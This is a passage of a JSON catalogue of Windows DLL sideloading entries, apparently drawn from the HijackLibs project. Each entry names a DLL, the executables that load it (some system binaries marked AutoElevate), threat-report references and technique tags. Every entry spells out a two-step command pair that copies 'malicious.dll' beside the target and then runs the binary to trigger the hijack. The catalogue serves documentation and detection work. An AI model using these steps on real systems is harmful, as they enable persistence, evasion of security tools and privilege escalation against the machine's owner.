      "security.defenseevasion.dll-hijack"
    ],
    "description": "appvisvsubsystems64.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "appvisvsubsystems64.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-appvisvsubsystems64",
    "name": "appvisvsubsystems64.dll",
    "namespace": "windows:dllhijack:appvisvsubsystems64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2025/apt29-phishing-campaign/"
      },
      {
        "label": "Reference",
        "url": "https://lab52.io/blog/2162-2/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/b0ecfe94a829ef82819a5bec168d313a55e07544c3e20e252239679b2e0f46c9"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/appvisvsubsystems64.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious appvpolicy.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\appvpolicy.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\appvclient.exe\\\"\"\n\n# appvpolicy.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\appvclient.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-appvpolicy.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "appvpolicy.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "appvpolicy.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-appvpolicy",
    "name": "appvpolicy.dll",
    "namespace": "windows:dllhijack:appvpolicy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/appvpolicy.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious appwiz.cpl.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\appwiz.cpl.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fondue.exe\\\"\"\n\n# appwiz.cpl.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fondue.exe (Sideloading)\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-appwiz-cpl.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "appwiz.cpl.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "appwiz.cpl.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-appwiz-cpl",
    "name": "appwiz.cpl.dll",
    "namespace": "windows:dllhijack:appwiz-cpl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2024/01/06/1-little-known-secret-of-fondue-exe/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/appwiz-cpl.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious appxalluserstore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\appxalluserstore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\lpremove.exe\\\"\"\n\n# appxalluserstore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\lpremove.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-appxalluserstore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "appxalluserstore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "appxalluserstore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-appxalluserstore",
    "name": "appxalluserstore.dll",
    "namespace": "windows:dllhijack:appxalluserstore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/appxalluserstore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious appxdeploymentclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\appxdeploymentclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\lpremove.exe\\\"\"\n\n# appxdeploymentclient.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\lpremove.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-appxdeploymentclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "appxdeploymentclient.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "appxdeploymentclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote",
      "requires-root"
    ],
    "id": "windows-dllhijack-appxdeploymentclient",
    "name": "appxdeploymentclient.dll",
    "namespace": "windows:dllhijack:appxdeploymentclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/appxdeploymentclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious archiveint.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\archiveint.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\tar.exe\\\"\"\n\n# archiveint.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\tar.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-archiveint.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "archiveint.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "archiveint.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-archiveint",
    "mitre_ids": [
      "T1560"
    ],
    "name": "archiveint.dll",
    "namespace": "windows:dllhijack:archiveint",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/archiveint.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious asfbncor.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Replay Media Splitter\\\\asfbncor.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Replay Media Splitter\\\\ReplayMediaSplitter.exe\\\"\"\n\n# asfbncor.dll\n\n**Vendor:** Radioactive\n\n**Expected Location:** %PROGRAMFILES%\\Replay Media Splitter\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Replay Media Splitter\\ReplayMediaSplitter.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-asfbncor.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "asfbncor.dll — Sideloading hijacking (Radioactive)",
    "execution": {
      "template": "asfbncor.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-asfbncor",
    "name": "asfbncor.dll",
    "namespace": "windows:dllhijack:asfbncor",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d1d824fc5f3354f68324a319026d089926655b6ce25538279e26c0986374026b/relations"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/asfbncor.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ashldres.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\McAfee.com\\\\VSO\\\\ashldres.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"mcvsshld.exe\\\"\"\n\n# ashldres.dll\n\n**Vendor:** McAfee\n\n**Expected Location:** %PROGRAMFILES%\\McAfee.com\\VSO\n\n**Vulnerable Executables:**\n- mcvsshld.exe (Sideloading)\n",
    "_source": "windows-dllhijack-ashldres.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ashldres.dll — Sideloading hijacking (McAfee)",
    "execution": {
      "template": "ashldres.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ashldres",
    "name": "ashldres.dll",
    "namespace": "windows:dllhijack:ashldres",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-rotten-tomato-campaign.pdf"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ashldres.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious asio.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\ASUS\\\\AXSP\\\\%VERSION%\\\\asio.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\ASUS\\\\AXSP\\\\4.02.12\\\\atkexComSvc.exe\\\"\"\n\n# asio.dll\n\n**Vendor:** Asus\n\n**Expected Location:** %PROGRAMFILES%\\ASUS\\AXSP\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\ASUS\\AXSP\\4.02.12\\atkexComSvc.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-asio.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "asio.dll — Sideloading hijacking (Asus)",
    "execution": {
      "template": "asio.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-asio",
    "name": "asio.dll",
    "namespace": "windows:dllhijack:asio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/006f91524d53d483074335f74c2ca2c10cab9b64de86f6151eedfa53174434f2/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/7f4689de97d97ddb6e788119ebf0dc3707c66f8216d7cbc79ea329d0c3df63bf/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/asio.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious asus_wmi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\ASUS\\\\AXSP\\\\%VERSION%\\\\asus_wmi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\ASUS\\\\AXSP\\\\%VERSION%\\\\atkexComSvc.exe\\\"\"\n\n# asus_wmi.dll\n\n**Vendor:** Asus\n\n**Expected Location:** %PROGRAMFILES%\\ASUS\\AXSP\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\ASUS\\AXSP\\%VERSION%\\atkexComSvc.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-asus-wmi.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "asus_wmi.dll — Sideloading hijacking (Asus)",
    "execution": {
      "template": "asus_wmi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-asus-wmi",
    "name": "asus_wmi.dll",
    "namespace": "windows:dllhijack:asus-wmi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/006f91524d53d483074335f74c2ca2c10cab9b64de86f6151eedfa53174434f2/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/7f4689de97d97ddb6e788119ebf0dc3707c66f8216d7cbc79ea329d0c3df63bf/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/asus-wmi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious atl.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\atl.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dsquery.exe\\\"\"\n\n# atl.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dsquery.exe (Sideloading)\n- %SYSTEM32%\\filescrn.exe (Sideloading)\n- %SYSTEM32%\\msconfig.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\msdt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\msinfo32.exe (Sideloading)\n- %SYSTEM32%\\perfmon.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\storrept.exe (Sideloading)\n- %SYSTEM32%\\vds.exe (Sideloading)\n- %SYSTEM32%\\vdsldr.exe (Sideloading)\n- %SYSTEM32%\\vssadmin.exe (Sideloading)\n- %SYSTEM32%\\wfs.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-atl.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "atl.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "atl.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-atl",
    "name": "atl.dll",
    "namespace": "windows:dllhijack:atl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/atl.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious atl71.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Common Files\\\\Thunder Network\\\\TP\\\\%VERSION%\\\\atl71.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Common Files\\\\Thunder Network\\\\TP\\\\%VERSION%\\\\XLBugReport.exe\\\"\"\n\n# atl71.dll\n\n**Vendor:** Xunlei\n\n**Expected Location:** %PROGRAMFILES%\\Common Files\\Thunder Network\\TP\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Common Files\\Thunder Network\\TP\\%VERSION%\\XLBugReport.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-atl71.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "atl71.dll — Sideloading hijacking (Xunlei)",
    "execution": {
      "template": "atl71.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-atl71",
    "name": "atl71.dll",
    "namespace": "windows:dllhijack:atl71",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/07ff27bfc879ad9f4d90f17c755c89d2fc3a84994c2304ee3cd79eb84674b9c0/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d42dc50226c59ab41afb691a0d94fa4e141702b678d8bd2fdaaaecb43a8e5b4b/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/atl71.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious atltracetoolui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft Visual Studio 11.0\\\\Common7\\\\Tools\\\\atltracetoolui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft Visual Studio 11.0\\\\Common7\\\\Tools\\\\ATLTraceTool8.exe\\\"\"\n\n# atltracetoolui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft Visual Studio 11.0\\Common7\\Tools\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft Visual Studio 11.0\\Common7\\Tools\\ATLTraceTool8.exe (Sideloading)\n",
    "_source": "windows-dllhijack-atltracetoolui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "atltracetoolui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "atltracetoolui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-atltracetoolui",
    "name": "atltracetoolui.dll",
    "namespace": "windows:dllhijack:atltracetoolui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/atltracetoolui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious audioses.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\audioses.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\osk.exe\\\"\"\n\n# audioses.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\osk.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-audioses.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "audioses.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "audioses.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-audioses",
    "name": "audioses.dll",
    "namespace": "windows:dllhijack:audioses",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/audioses.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious auditpolcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\auditpolcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\auditpol.exe\\\"\"\n\n# auditpolcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\auditpol.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-auditpolcore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "auditpolcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "auditpolcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-auditpolcore",
    "name": "auditpolcore.dll",
    "namespace": "windows:dllhijack:auditpolcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/auditpolcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious authfwcfg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\authfwcfg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# authfwcfg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-authfwcfg.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "authfwcfg.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "authfwcfg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-authfwcfg",
    "name": "authfwcfg.dll",
    "namespace": "windows:dllhijack:authfwcfg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/authfwcfg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious authz.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\authz.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\easinvoker.exe\\\"\"\n\n# authz.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\easinvoker.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\vssvc.exe (Sideloading)\n- %SYSTEM32%\\whoami.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-authz.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "authz.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "authz.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-authz",
    "name": "authz.dll",
    "namespace": "windows:dllhijack:authz",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/authz.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious avdevice-54.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\AnyMP4 Studio\\\\AnyMP4 Blu-ray Creator\\\\avdevice-54.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\AnyMP4 Studio\\\\AnyMP4 Blu-ray Creator\\\\AnyMP4 Blu-ray Creator.exe\\\"\"\n\n# avdevice-54.dll\n\n**Vendor:** AnyMP4\n\n**Expected Location:** %PROGRAMFILES%\\AnyMP4 Studio\\AnyMP4 Blu-ray Creator\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\AnyMP4 Studio\\AnyMP4 Blu-ray Creator\\AnyMP4 Blu-ray Creator.exe (Sideloading)\n\n**Acknowledgement:** Chad Hudson\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-avdevice-54.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "avdevice-54.dll — Sideloading hijacking (AnyMP4)",
    "execution": {
      "template": "avdevice-54.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-avdevice-54",
    "name": "avdevice-54.dll",
    "namespace": "windows:dllhijack:avdevice-54",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/avdevice-54.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious avkkid.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\G DATA\\\\TotalSecurity\\\\avkkid\\\\avkkid.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\G DATA\\\\TotalSecurity\\\\avkkid\\\\avkkid.exe\\\"\"\n\n# avkkid.dll\n\n**Vendor:** G DATA\n\n**Expected Location:** %PROGRAMFILES%\\G DATA\\TotalSecurity\\avkkid\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\G DATA\\TotalSecurity\\avkkid\\avkkid.exe (Sideloading)\n",
    "_source": "windows-dllhijack-avkkid.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "avkkid.dll — Sideloading hijacking (G DATA)",
    "execution": {
      "template": "avkkid.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-avkkid",
    "name": "avkkid.dll",
    "namespace": "windows:dllhijack:avkkid",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/68eb5590d8ad952215cf54741b0ed6204c19bba4dcb8d704883e007f16de5028"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/avkkid.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious avrt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\avrt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\osk.exe\\\"\"\n\n# avrt.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\osk.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-avrt.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
